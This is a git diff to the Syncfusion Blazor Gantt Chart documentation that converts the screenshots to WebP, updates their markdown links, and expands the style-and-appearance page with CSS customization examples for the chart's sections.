diff --git a/blazor/gantt-chart/images/stylesAndAppearance.webp b/blazor/gantt-chart/images/stylesAndAppearance.webp
new file mode 100644
index 0000000000..26d4c6ddf1
Binary files /dev/null and b/blazor/gantt-chart/images/stylesAndAppearance.webp differ
diff --git a/blazor/gantt-chart/images/taskbar-states.png b/blazor/gantt-chart/images/taskbar-states.png
deleted file mode 100644
index 0c881b5721..0000000000
Binary files a/blazor/gantt-chart/images/taskbar-states.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/taskbar-states.webp b/blazor/gantt-chart/images/taskbar-states.webp
new file mode 100644
index 0000000000..c4f145f671
Binary files /dev/null and b/blazor/gantt-chart/images/taskbar-states.webp differ
diff --git a/blazor/gantt-chart/images/taskbar_draw.gif b/blazor/gantt-chart/images/taskbar_draw.gif
deleted file mode 100644
index ec9e5164b8..0000000000
Binary files a/blazor/gantt-chart/images/taskbar_draw.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/taskbar_draw.webp b/blazor/gantt-chart/images/taskbar_draw.webp
new file mode 100644
index 0000000000..6eeacee7e9
Binary files /dev/null and b/blazor/gantt-chart/images/taskbar_draw.webp differ
diff --git a/blazor/gantt-chart/images/timeline-cell-tooltip.png b/blazor/gantt-chart/images/timeline-cell-tooltip.png
deleted file mode 100644
index 86aee3a7de..0000000000
Binary files a/blazor/gantt-chart/images/timeline-cell-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/timeline-cell-tooltip.webp b/blazor/gantt-chart/images/timeline-cell-tooltip.webp
new file mode 100644
index 0000000000..963595e304
Binary files /dev/null and b/blazor/gantt-chart/images/timeline-cell-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/timeline_virtual.gif b/blazor/gantt-chart/images/timeline_virtual.gif
deleted file mode 100644
index c313d1d5c0..0000000000
Binary files a/blazor/gantt-chart/images/timeline_virtual.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/timeline_virtual.webp b/blazor/gantt-chart/images/timeline_virtual.webp
new file mode 100644
index 0000000000..30965ff2ca
Binary files /dev/null and b/blazor/gantt-chart/images/timeline_virtual.webp differ
diff --git a/blazor/gantt-chart/images/updateRecord.gif b/blazor/gantt-chart/images/updateRecord.gif
deleted file mode 100644
index 6c3b49e29d..0000000000
Binary files a/blazor/gantt-chart/images/updateRecord.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/updateRecord.webp b/blazor/gantt-chart/images/updateRecord.webp
new file mode 100644
index 0000000000..899bb81826
Binary files /dev/null and b/blazor/gantt-chart/images/updateRecord.webp differ
diff --git a/blazor/gantt-chart/images/updatescheduledates.gif b/blazor/gantt-chart/images/updatescheduledates.gif
deleted file mode 100644
index 8d71c2d5ec..0000000000
Binary files a/blazor/gantt-chart/images/updatescheduledates.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/updatescheduledates.webp b/blazor/gantt-chart/images/updatescheduledates.webp
new file mode 100644
index 0000000000..ee8d15400e
Binary files /dev/null and b/blazor/gantt-chart/images/updatescheduledates.webp differ
diff --git a/blazor/gantt-chart/images/url-adaptor.png b/blazor/gantt-chart/images/url-adaptor.png
deleted file mode 100644
index 77c4533fca..0000000000
Binary files a/blazor/gantt-chart/images/url-adaptor.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/url-adaptor.webp b/blazor/gantt-chart/images/url-adaptor.webp
new file mode 100644
index 0000000000..fda7a87364
Binary files /dev/null and b/blazor/gantt-chart/images/url-adaptor.webp differ
diff --git a/blazor/gantt-chart/images/user-interaction.png b/blazor/gantt-chart/images/user-interaction.png
deleted file mode 100644
index 2c55bc67ea..0000000000
Binary files a/blazor/gantt-chart/images/user-interaction.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/user-interaction.webp b/blazor/gantt-chart/images/user-interaction.webp
new file mode 100644
index 0000000000..723d2118b3
Binary files /dev/null and b/blazor/gantt-chart/images/user-interaction.webp differ
diff --git a/blazor/gantt-chart/images/valid-taskbar.PNG b/blazor/gantt-chart/images/valid-taskbar.PNG
deleted file mode 100644
index 362722db85..0000000000
Binary files a/blazor/gantt-chart/images/valid-taskbar.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/valid-taskbar.webp b/blazor/gantt-chart/images/valid-taskbar.webp
new file mode 100644
index 0000000000..014a12bf14
Binary files /dev/null and b/blazor/gantt-chart/images/valid-taskbar.webp differ
diff --git a/blazor/gantt-chart/images/vertical-scroll.gif b/blazor/gantt-chart/images/vertical-scroll.gif
deleted file mode 100644
index 7f8f520bcf..0000000000
Binary files a/blazor/gantt-chart/images/vertical-scroll.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/vertical-scroll.webp b/blazor/gantt-chart/images/vertical-scroll.webp
new file mode 100644
index 0000000000..1262261275
Binary files /dev/null and b/blazor/gantt-chart/images/vertical-scroll.webp differ
diff --git a/blazor/gantt-chart/images/zoomMethods.gif b/blazor/gantt-chart/images/zoomMethods.gif
deleted file mode 100644
index b7eab5a8f2..0000000000
Binary files a/blazor/gantt-chart/images/zoomMethods.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/zoomMethods.webp b/blazor/gantt-chart/images/zoomMethods.webp
new file mode 100644
index 0000000000..cd0bb3d5a6
Binary files /dev/null and b/blazor/gantt-chart/images/zoomMethods.webp differ
diff --git a/blazor/gantt-chart/managing-tasks.md b/blazor/gantt-chart/managing-tasks.md
index c4a4e1baa6..3ff08b9608 100644
--- a/blazor/gantt-chart/managing-tasks.md
+++ b/blazor/gantt-chart/managing-tasks.md
@@ -318,7 +318,7 @@ Action |Description
 -----|-----
 [Cell editing](https://blazor.syncfusion.com/documentation/gantt-chart/editing-tasks#cell-editing) | To perform `double tap` on a specific cell, initiate the cell to be in edit state.
 [Dialog editing](https://blazor.syncfusion.com/documentation/gantt-chart/editing-tasks#dialog-editing) | To perform `double tap` on a specific row, initiate the edit dialog to be opened.
-[Taskbar editing](https://blazor.syncfusion.com/documentation/gantt-chart/taskbar-editing) | Taskbar editing action is initiated using the `tap` action on the taskbar. <br> **Parent taskbar** : Once you tap on the parent taskbar, it will be changed to editing state. Perform only dragging action on parent taskbar editing.<br>![Blazor Gantt Chart displays editing parent taskbar in touch mode](images/editingparent.png) <br><br> **Child taskbar** : Once you tap the child taskbar, it will be changed to editing state.<br>![Blazor Gantt Chart displays editing parent taskbar in touch mode](images/editingstate.png) <br> <br> **Dragging taskbar** : To drag a taskbar to the left or right in editing state. <br> <br> **Resizing taskbar** : To resize a taskbar, drag the left/right resize icon. <br> <br> **Progress resizing** : To change the progress, drag the progress resize icon to the left or right direction.
+[Taskbar editing](https://blazor.syncfusion.com/documentation/gantt-chart/taskbar-editing) | Taskbar editing action is initiated using the `tap` action on the taskbar. <br> **Parent taskbar** : Once you tap on the parent taskbar, it will be changed to editing state. Perform only dragging action on parent taskbar editing.<br>![Blazor Gantt Chart displays editing parent taskbar in touch mode](images/editingparent.webp) <br><br> **Child taskbar** : Once you tap the child taskbar, it will be changed to editing state.<br>![Blazor Gantt Chart displays editing parent taskbar in touch mode](images/editingstate.webp) <br> <br> **Dragging taskbar** : To drag a taskbar to the left or right in editing state. <br> <br> **Resizing taskbar** : To resize a taskbar, drag the left/right resize icon. <br> <br> **Progress resizing** : To change the progress, drag the progress resize icon to the left or right direction.
 
 ### Task dependency editing
 
@@ -326,16 +326,16 @@ You can tap the left/right connector point to initiate task dependencies edit mo
 
 Once the dependency edit mode is initiated, a dialog appears with the message **Choose another task** and a **Cancel** button. Tapping another taskbar will prompt a second dialog with the message **Select the connector position** and a tooltip near the second taskbar showing **Left** and **Right** buttons. Selecting one of these buttons establishes the dependency relationship between the two tasks. You can click the **Cancel** button at any time to exit the edit mode.
 
-![Task Dependency Editing in Blazor Gantt Chart](images/dependency-editing.png)
+![Task Dependency Editing in Blazor Gantt Chart](images/dependency-editing.webp)
 
 The following table explains the taskbar state in dependency edit mode.
 
 Taskbar state |Description
 -----|-----
-Parent taskbar | You cannot create dependency relationship to parent tasks. <br> ![Parent taskbar](images/parent-taskbar.PNG)
-Taskbar without dependency |  If you tap a valid child taskbar, it will create `FS` type dependency line between tasks, otherwise exits from task dependency edit mode. <br> ![Valid taskbar](images/valid-taskbar.PNG)
-Taskbar with dependency | If you tap the second taskbar, which has already been directly connected, it will ask to remove it. <br> ![Invalid taskbar](images/invalid-taskbar.PNG)
-Removing dependency | Once you tap the taskbar with direct dependency, then confirmation dialog will be shown for removing dependency. <br> ![Confirm dialog](images/confirm-dialog.PNG)
+Parent taskbar | You cannot create dependency relationship to parent tasks. <br> ![Parent taskbar](images/parent-taskbar.webp)
+Taskbar without dependency |  If you tap a valid child taskbar, it will create `FS` type dependency line between tasks, otherwise exits from task dependency edit mode. <br> ![Valid taskbar](images/valid-taskbar.webp)
+Taskbar with dependency | If you tap the second taskbar, which has already been directly connected, it will ask to remove it. <br> ![Invalid taskbar](images/invalid-taskbar.webp)
+Removing dependency | Once you tap the taskbar with direct dependency, then confirmation dialog will be shown for removing dependency. <br> ![Confirm dialog](images/confirm-dialog.webp)
 
 ## Taskbar editing tooltip
 
diff --git a/blazor/gantt-chart/scheduling-tasks.md b/blazor/gantt-chart/scheduling-tasks.md
index d1a33333a0..63b732526b 100644
--- a/blazor/gantt-chart/scheduling-tasks.md
+++ b/blazor/gantt-chart/scheduling-tasks.md
@@ -196,10 +196,10 @@ Unscheduled tasks are planned for a project without any definite schedule dates.
 
 Taskbar state |Auto |Manual
 -----|-----|-----
-`Start Date Only` | ![Blazor Gantt Chart with Start Date Task](images/blazor-gantt-chart-start-date-task.png) | ![Alt text](images/startDate-manual.png)
-`End Date Only` | ![Blazor Gantt Chart with End Date Task](images/blazor-gantt-chart-end-date-task.png) | ![Alt text](images/endDate-manual.png)
-`Duration Only` | ![Blazot Gantt Chart with Duration Task](images/blazor-gantt-chart-duration-task.png) | ![Alt text](images/duration-manual.png)
-`Milestone`| ![Blazor Gantt Chart with Milestone Task](images/blazor-gantt-chart-milestone-task.png) | ![Blazor Gantt Chart with Milestone Task](images/blazor-gantt-chart-milestone-task.png)
+`Start Date Only` | ![Blazor Gantt Chart with Start Date Task](images/blazor-gantt-chart-start-date-task.webp) | ![Alt text](images/startDate-manual.webp)
+`End Date Only` | ![Blazor Gantt Chart with End Date Task](images/blazor-gantt-chart-end-date-task.webp) | ![Alt text](images/endDate-manual.webp)
+`Duration Only` | ![Blazot Gantt Chart with Duration Task](images/blazor-gantt-chart-duration-task.webp) | ![Alt text](images/duration-manual.webp)
+`Milestone`| ![Blazor Gantt Chart with Milestone Task](images/blazor-gantt-chart-milestone-task.webp) | ![Blazor Gantt Chart with Milestone Task](images/blazor-gantt-chart-milestone-task.webp)
 
 > A milestone is a task that has no start and end dates, but it has a duration value of zero.
 
diff --git a/blazor/gantt-chart/selection.md b/blazor/gantt-chart/selection.md
index 62afa303fe..1e6ed80950 100644
--- a/blazor/gantt-chart/selection.md
+++ b/blazor/gantt-chart/selection.md
@@ -316,4 +316,4 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart componen
 
 [Multiple Row selection](https://blazor.syncfusion.com/documentation/gantt-chart/selection): To select multiple rows, tap a row to display a popup that activates multi-selection mode. After tapping the popup, continue tapping the desired rows to select them. This allows you to select multiple rows simultaneously, as illustrated below:
 
-![Multiple selection in Blazor Gantt Chart](images/blazor-gantt-chart-multiple-selection.PNG)
\ No newline at end of file
+![Multiple selection in Blazor Gantt Chart](images/blazor-gantt-chart-multiple-selection.webp)
\ No newline at end of file
diff --git a/blazor/gantt-chart/sorting.md b/blazor/gantt-chart/sorting.md
index aeea47bf11..7eafd0f8e4 100644
--- a/blazor/gantt-chart/sorting.md
+++ b/blazor/gantt-chart/sorting.md
@@ -430,4 +430,4 @@ To perform a tap action on a column header in the Syncfusion<sup style="font-siz
 
 The following screenshot shows Gantt touch sorting,
 
-![Multiple Sorting in Blazor Gantt Chart](images/blazor-gantt-chart-multiple-sorting.png)
\ No newline at end of file
+![Multiple Sorting in Blazor Gantt Chart](images/blazor-gantt-chart-multiple-sorting.webp)
\ No newline at end of file
diff --git a/blazor/gantt-chart/style-and-appearance.md b/blazor/gantt-chart/style-and-appearance.md
index 39a9a862c9..cbdad8ebcb 100644
--- a/blazor/gantt-chart/style-and-appearance.md
+++ b/blazor/gantt-chart/style-and-appearance.md
@@ -1,7 +1,7 @@
 ---
 layout: post
-title: Style And Appearance in Blazor Gantt Chart Component | Syncfusion
-description: Checkout and learn here all about style and appearance in Syncfusion Blazor Gantt Chart component and more.
+title: Style and Appearance in Blazor Gantt Chart Component | Syncfusion
+description: Check out and learn here all about style and appearance in Syncfusion Blazor Gantt Chart component and more.
 platform: Blazor
 control: Gantt Chart
 documentation: ug
@@ -9,44 +9,313 @@ documentation: ug
 
 # Style and Appearance in Blazor Gantt Chart Component
 
-To customize the appearance of the Gantt Chart, override its default CSS styles. A list of CSS classes is available for targeting specific sections. You can also create a custom theme for all JavaScript controls using the [Theme Studio](https://blazor.syncfusion.com/documentation/appearance/theme-studio).
-
-|Section | CSS Class | Purpose of Class |
-|-----|-----|-----|
-|**Root**|e-gantt|This class is in the root element (div) of the gantt chart control. |
-|**Header**|e-gridheader|This class is added in the root element of header element. In this class, You can override thin line between header and content of the gantt chart. |
-| | e-table | This class is added at 'table' of the gantt chart header. This CSS class makes table width as 100 %. |
-| |e-columnheader|This class is added at 'tr' of the gantt chart header. |
-|**Grid Content**|e-gridcontent|This class is added at root of body content. This is to override background color of the body.
-| |e-table|This class is added to table of content. This CSS class makes table width as 100 %.
-| |e-row|This class is added to rows of gantt chart.
-| |e-altrow|This class is added to alternate rows of gantt chart. This is to override alternate row color of the gantt chart.
-| |e-rowcell|This class is added to all cells in the gantt chart. This is to override cells appearance and styling.
-|**Chart Content**|e-gantt-chart|This class is added to the chart side of the gantt chart.
-| |e-chart-row|This class is added to rows of gantt chart.
-|**Timeline**|e-timeline-header-container|This class is added to timeline of the gantt chart.
-| |e-header-cell-label|This class is added to the header cell of the timeline.
-| |e-weekend-header-cell|This class is added to the weekend cells.
-|**Taskbar**|e-taskbar-main-container|This class is added to taskbar of the gantt chart.
-| |e-gantt-parent-taskbar|This class is added to the parent task bar of the gantt chart.
-| |e-gantt-milestone|This class is added to the milestone tasks of the gantt chart.
-| |e-gantt-unscheduled-taskbar|This class is added to the unscheduled tasks.
-| |e-gantt-manualparenttaskbar|This class is added to the manual scheduled parent taskbar.
-| |e-gantt-child-manualtaskbar|This class is added to the manual scheduled child taskbar.
-| |e-gantt-unscheduled-manualtask|This class is added to the manual unscheduled tasks.
-|**Splitter**|e-split-bar|This class is added to the gantt chart splitter.
-| |e-resize-handler|This class is added to the resize handler of the gantt chart splitter.
-| |e-arrow-left|This class is added to the left arrow of the resize handler.
-| |e-arrow-right|This class is added to the right arrow of the resize handler.
-|**Connector Lines**|e-connector-line|This class is added to the connector lines.
-| |e-connector-line-arrow|This class is added to the arrow of the connector line.
-|**Labels**|e-task-label|This class is added to the task labels.
-| |e-right-label-container|This class is added to the right label.
-| |e-left-label-container|This class is added to the left label.
-|**Event Markers**|e-event-markers|This class is added to the event markers.
-|**Baseline**|e-baseline-bar|This class is added to the baseline.
-| |e-baseline-gantt-milestone-container|This class is added to the baseline of milestone tasks.
-|**Tooltip**|e-gantt-tooltip|This class is added to the tooltip.
+Customize the appearance of the Blazor Gantt Chart by overriding default CSS styles. The Gantt Chart provides a comprehensive set of CSS classes for targeting specific sections, allowing a tailored design that matches application branding. [Theme Studio](https://blazor.syncfusion.com/documentation/appearance/theme-studio) can create custom themes for all JavaScript controls.
+
+## Customizing Gantt Chart root element
+
+The `.e-gantt` class is the root container for the entire Blazor Gantt Chart. Customize this element to control global appearance including font family, background color, and overall spacing:
+
+```css
+.e-gantt *:not(.e-icons):not(.e-check):not(.e-frame) {
+    font-family: cursive !important;
+}
+```
+
+Properties such as `font-family`, `background-color`, and spacing-related styles can be adjusted to align with the Gantt design.
+
+![Customizing root element](./images/blazor-gantt-chart-root-element.webp)
+
+This customization applies a cursive font to the Gantt Chart content. Additional styling can be applied to rows, alternate rows, selected rows, and hover states. Avoid using `!important` for hover styles in production environments. Instead, increase selector specificity to maintain consistent styling control.
+
+## Styling the grid section
+
+### Customizing grid headers in Gantt Chart
+
+The grid header in the Blazor Gantt Chart contains column headers and table structures. Customize the header appearance and styling using the following CSS classes:
+
+```css
+.e-gridheader {
+   color: #1976d2 !important;
+}
+.e-headercelldiv {
+    font-size: 36px;
+}
+.e-headercell {
+    background: #e3f2fd !important;
+}
+.e-columnheader{
+    color: #1976d2 !important;
+}
+```
+
+Properties such as `background-color`, `border`, `font-weight`, and `padding` can be adjusted to align with the Gantt design.
+
+![Customizing header](./images/blazor-gantt-header.webp)
+
+### Customizing grid content and rows
+
+Style the grid content area that displays task data in a tabular format. Use these CSS classes to modify rows, cells, and alternate row appearance:
+
+```css
+.e-gridcontent {
+    background-color: #f5f5f5;
+}
+.e-table {
+    border: 1px solid #ccc;
+}
+.e-row {
+    background-color: #ffffff;
+    color: #333;
+}
+.e-altrow {
+    background-color: #e8f4fd;
+}
+.e-rowcell {
+    border-color: #ddd;
+    padding: 8px;
+}
+```
+
+Properties such as `background-color`, `border`, `font-weight`, and `padding` can be adjusted to align with the Gantt design.
+
+![Customizing grid content](./images/blazor-gantt-grid-content.webp)
+
+## Styling the chart section
+
+### Customizing chart content and background
+
+The chart content displays taskbars and the timeline visualization. Apply CSS to modify the chart area appearance and styling:
+
+```css
+.e-gantt-chart {
+    background-color: #fafafa;
+    border: 1px solid #ddd;
+}
+.e-chart-row {
+    background-color: #ecf7ff;
+}
+.e-chart-row:hover {
+    background-color: #fff3cd;
+}
+```
+
+Properties such as `background-color`, `border`, and `height` can be adjusted to align with the Gantt design.
+
+![Customizing chart content](./images/blazor-gantt-chart-content.webp)
+
+### Customizing timeline headers and date display
+
+The timeline displays date information and task scheduling. Style the timeline header and date cells using these CSS classes:
+
+```css
+.e-timeline-header-container {
+    background: #e3f2fd !important;
+}
+
+.e-header-cell-label {
+    color: #0d47a1 !important;
+    font-weight: bold;
+}
+.e-weekend-header-cell{
+    background: #fce4ec !important;
+}
+```
+
+Properties such as `background-color`, `border`, `font-weight`, and `padding` can be adjusted to align with the Gantt design.
+
+![Customizing timeline](./images/blazor-gantt-timeline.webp)
+
+### Customizing taskbars and progress indicators
+
+The taskbar represents tasks visually on the timeline. Customize parent taskbars, child taskbars, milestones, and unscheduled tasks using these CSS classes:
+
+```css
+.e-taskbar-main-container {
+    border: 1px solid #e0e0e0;
+}
+
+.e-gantt-parent-taskbar-inner-div {
+    background-color: #1976d2 !important;
+}
+
+.e-gantt-parent-progressbar-inner-div {
+    background-color: #0d47a1 !important;
+}
+
+.e-gantt-child-taskbar-inner-div {
+    background-color: #7b1fa2 !important;
+}
+
+.e-gantt-child-progressbar-inner-div {
+    background-color: #4a148c !important;
+}
+
+.e-gantt-milestone {
+    background-color: #ff9800 !important;
+}
+
+.e-gantt-unscheduled-taskbar {
+    background-color: #f44336 !important;
+    opacity: 0.7;
+}
+
+.e-gantt-manualparenttaskbar {
+    border: 2px dashed #1976d2 !important;
+}
+
+.e-gantt-child-manualtaskbar {
+    border: 2px dashed #7b1fa2 !important;
+}
+
+.e-gantt-unscheduled-manualtask {
+    background-color: #f44336 !important;
+    border: 2px dashed #f44336 !important;
+    opacity: 0.7;
+}
+```
+
+Properties such as `background-color`, `border`, `height`, and `border-radius` can be adjusted to align with the Gantt design.
+
+![Customizing taskbar](./images/blazor-gantt-taskbar.webp)
+
+### Customizing baseline bars and milestones
+
+The baseline in the Blazor Gantt Chart represents planned task schedules for comparison with actual progress. Customize baseline bars and milestones using these CSS classes:
+
+```css
+.e-baseline-bar {
+    background-color: #fdb9c9 !important;
+}
+
+.e-baseline-gantt-milestone-container {
+    background-color: #fdb9c9 !important;
+}
+```
+
+Properties such as `background-color` and `height` can be adjusted to align with the Gantt design.
+
+![Customizing baseline](./images/blazor-gantt-baseline.webp)
+
+### Customizing connector lines for task dependencies
+
+The connector lines in the Blazor Gantt Chart show dependencies between tasks. Apply CSS to modify the connector line appearance and styling:
+
+```css
+.e-connector-line {
+    stroke: #ab6060fc !important;
+    stroke-width: 2px;
+}   
+.e-connector-line-arrow {
+    fill: #ab6060fc !important;
+}
+```
+
+Properties such as `stroke`, `stroke-width`, and `fill` can be adjusted to align with the Gantt design.
+
+![Customizing connector lines](./images/blazor-gantt-connector-lines.webp)
+
+### Customizing splitter and resize handlers
+
+The splitter divides the grid and chart sections, while resize handlers allow users to adjust the splitter position. Style these elements using the following CSS classes:
+
+```css
+.e-gantt .e-split-bar {
+    background-color: #add8e6 !important;
+    border: 1px solid #87ceeb;
+}
+.e-gantt .e-resize-handler {
+    background-color: #0d6efd !important;
+    border-radius: 50%;
+    width: 20px;
+    height: 20px;
+    border: 1px solid #0d47a1;
+}
+.e-gantt .e-arrow-left, .e-gantt .e-arrow-right {
+    color: green !important;
+    font-size: 12px;
+}
+.e-gantt .e-resize-handler:hover {
+    background-color: #f0f0f0 !important;
+}
+```
+
+Properties such as `background-color`, `border`, `width`, `height`, and `border-radius` can be adjusted to align with the Gantt design.
+
+![Customizing splitter](./images/blazor-gantt-splitter.webp)
+
+This customization applies a light blue background to the split bar and styles the resize handler with a circular appearance. Additional styling can be applied to arrow icons and hover states. Avoid using `!important` for hover styles in production environments. Instead, increase selector specificity to maintain consistent styling control.
+
+### Customizing task labels and text display
+
+The labels in the Blazor Gantt Chart display task information on the taskbars. Apply CSS to modify the label appearance and styling:
+
+```css
+.e-label {
+    color: #0d47a1 !important;
+    font-size: 12px;
+}
+
+.e-right-label-container {
+    background-color: rgba(255, 255, 255, 0.9);
+    padding: 2px 4px;
+    border-radius: 3px;
+}
+
+.e-left-label-container {
+    background-color: rgba(255, 255, 255, 0.9);
+    padding: 2px 4px;
+    border-radius: 3px;
+}
+```
+
+Properties such as `color`, `font-weight`, `font-size`, `background-color`, and `padding` can be adjusted to align with the Gantt design.
+
+![Customizing labels](./images/blazor-gantt-labels.webp)
+
+### Customizing event markers and timeline indicators
+
+The event markers in the Blazor Gantt Chart highlight important dates or milestones on the timeline. Apply CSS to modify the event marker appearance and styling:
+
+```css
+.e-event-markers {
+    border-left-color: #7b1fa2 !important;
+}
+
+.e-event-markers .e-span-label {
+    background-color: #f3e5f5 !important;
+    color: #4a148c !important;
+}
+```
+
+Properties such as `border-left-color`, `background-color`, `color`, and `font-weight` can be adjusted to align with the Gantt design.
+
+![Customizing event markers](./images/blazor-gantt-event-markers.webp)
+
+### Customizing tooltip content and appearance
+
+The tooltip in the Blazor Gantt Chart displays detailed information when hovering over tasks or elements. Apply CSS to modify the tooltip appearance and styling. Note: Use `.e-tooltip-wrap` for most tooltip styling and `.e-gantt-tooltip` for additional customization:
+
+```css
+.e-tooltip-wrap {
+    background: #a9e0f4 !important;
+}
+
+.e-gantt-tooltip {
+    background-color: #80b9f5 !important;
+    color: #333 !important;
+    border: 1px solid #87ceeb;
+    border-radius: 4px;
+    padding: 8px;
+}
+```
+
+Properties such as `background-color`, `color`, `border`, `border-radius`, and `padding` can be adjusted to align with the Gantt design.
+
+![Customizing tooltip](./images/blazor-gantt-tooltip.webp)
+ 
+## Complete code example with CSS customization
+
+Below is a complete example demonstrating how to customize multiple aspects of the Gantt Chart using CSS classes:
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -169,14 +438,16 @@ To customize the appearance of the Gantt Chart, override its default CSS styles.
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VXLeNaVoAMMmqlIy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-## Grid lines
+![style and appearance](./images/style-and-appearance.webp)
+
+## Configuring grid lines in the Gantt Chart
 
-In the Gantt Chart component, grid lines on the Tree Grid and chart sides can be shown or hidden using the [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_GridLines) property. The available options are:
+Grid lines on the Tree Grid and chart sections can be shown or hidden using the [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_GridLines) property. This property controls the visibility of grid lines throughout the component. The available grid line options are:
 
- - **Horizontal**: Displays only horizontal lines.
- - **Vertical**: Displays only vertical lines.
- - **Both**: Displays both horizontal and vertical lines.
- - **None**: Hides all grid lines.
+ - **Horizontal**: Displays only horizontal grid lines.
+ - **Vertical**: Displays only vertical grid lines.
+ - **Both**: Displays both horizontal and vertical grid lines.
+ - **None**: Hides all grid lines from the component.
 
 N> By default, the `GridLines` property is set to **Horizontal** type.
 
@@ -262,4 +533,4 @@ N> By default, the `GridLines` property is set to **Horizontal** type.
 
 * [Customizing the Blazor Gantt Chart’s Taskbar](https://www.syncfusion.com/blogs/post/customizing-the-blazor-gantt-charts-taskbar-an-overview.aspx)
 
-N> You can refer to our [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Gantt Chart example](https://blazor.syncfusion.com/demos/gantt-chart/default-functionalities?theme=bootstrap5) to know how to render and configure the Gantt.
\ No newline at end of file
+> Refer to the [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) feature tour page for feature details. The [Blazor Gantt Chart example](https://blazor.syncfusion.com/demos/gantt-chart/default-functionalities?theme=bootstrap5) demonstrates how to render and configure the Gantt.
diff --git a/blazor/gantt-chart/task-dependencies.md b/blazor/gantt-chart/task-dependencies.md
index 781230da88..55cf884351 100644
--- a/blazor/gantt-chart/task-dependencies.md
+++ b/blazor/gantt-chart/task-dependencies.md
@@ -25,19 +25,19 @@ Task dependencies determine the execution sequence of tasks, forming a structure
 Task relationships are categorized into four types based on start and finish dates:
 - **Start to Start (SS)**: Successor starts with predecessor.
    Example: In event planning, venue decoration (Task B) can start as soon as venue setup (Task A) begins.
-   ![Blazor Gantt Chart displays Start to Start Task Relationship](images/blazor-gantt-chart-start-to-start-relation.png)
+   ![Blazor Gantt Chart displays Start to Start Task Relationship](images/blazor-gantt-chart-start-to-start-relation.webp)
 
 - **Start to Finish (SF)**: Successor finishes when predecessor starts.
     Example: In shift work, the night shift (Task B) can't end until the day shift (Task A) begins.
-   ![Blazor Gantt Chart displays Start to Finish Task Relationship](images/blazor-gantt-chart-start-to-finish-relation.png)
+   ![Blazor Gantt Chart displays Start to Finish Task Relationship](images/blazor-gantt-chart-start-to-finish-relation.webp)
 
 - **Finish to Start (FS)**: Successor starts after predecessor finishes (default).
    Example: In software development, coding (Task B) can only start after the design phase (Task A) is finished.
-   ![Blazor Gantt Chart displays Finish to Start Task Relationship](images/blazor-gantt-chart-finish-to-start-relation.png)
+   ![Blazor Gantt Chart displays Finish to Start Task Relationship](images/blazor-gantt-chart-finish-to-start-relation.webp)
 
 - **Finish to Finish (FF)**: Successor finishes with predecessor.
     Example: In publishing, proof reading (Task B) must finish when or shortly after content writing (Task A) is completed.
-   ![Blazor Gantt Chart displays Finish to Finish Task Relationship](images/blazor-gantt-chart-finish-to-finish-relation.png)
+   ![Blazor Gantt Chart displays Finish to Finish Task Relationship](images/blazor-gantt-chart-finish-to-finish-relation.webp)
 
 ## Implementing task dependencies
 
diff --git a/blazor/gantt-chart/taskbar.md b/blazor/gantt-chart/taskbar.md
index f8268d6b68..0e94fe1624 100644
--- a/blazor/gantt-chart/taskbar.md
+++ b/blazor/gantt-chart/taskbar.md
@@ -178,7 +178,7 @@ You can design your taskbars to view the tasks in Gantt Chart by using [GanttTem
 </style>
 ```
 
-![Blazor Gantt Chart with Taskbar Template](images/blazor-gantt-chart-taskbar-template.png)
+![Blazor Gantt Chart with Taskbar Template](images/blazor-gantt-chart-taskbar-template.webp)
 
 
 ## Taskbar customization
@@ -231,7 +231,7 @@ Height of child taskbars and parent taskbars can be customized by using [Taskbar
 }
 ```
 
-![Customizing Taskbar Height in Blazor Gantt Chart](images/blazor-gantt-chart-taskbar-height.png)
+![Customizing Taskbar Height in Blazor Gantt Chart](images/blazor-gantt-chart-taskbar-height.webp)
 
 N> The `TaskbarHeight` property accepts only pixel value.
 
@@ -308,7 +308,7 @@ In the Gantt Chart component, the appearance can be customized based on the Hier
 </style>
 ```
 
-![Changing Taskbar Background in Blazor Gantt Chart](images/blazor-gantt-chart-taskbar-background.png)
+![Changing Taskbar Background in Blazor Gantt Chart](images/blazor-gantt-chart-taskbar-background.webp)
 
 
 
@@ -362,7 +362,7 @@ The width and background color of connector lines in Gantt Chart can be customiz
 }
 ```
 
-![Customizing Connector Lines in Blazor Gantt Chart](images/blazor-gantt-chart-connector-line-customization.png)
+![Customizing Connector Lines in Blazor Gantt Chart](images/blazor-gantt-chart-connector-line-customization.webp)
 
 ## Tooltip
 
@@ -430,7 +430,7 @@ In the Gantt Chart component, you can enable or disable the mouse hover tooltip
 </style>
 ```
 
-![Blazor Gantt Chart displays Event Marker Tooltip](images/blazor-gantt-chart-event-marker-tooltip.png)
+![Blazor Gantt Chart displays Event Marker Tooltip](images/blazor-gantt-chart-event-marker-tooltip.webp)
 
 N> The default value of the `GanttTooltipSettings.ShowTooltip` property is true.
 
@@ -493,7 +493,7 @@ The default tooltip in the Gantt Chart component can be customized using the [Ga
 
 The below screenshot shows the output of above code example.
 
-![Blazor Gantt Chart displays Taskbar Tooltip](images/blazor-gantt-chart-with-taskbar-tooltip.png)
+![Blazor Gantt Chart displays Taskbar Tooltip](images/blazor-gantt-chart-with-taskbar-tooltip.webp)
 
 ### Baseline tooltip
 
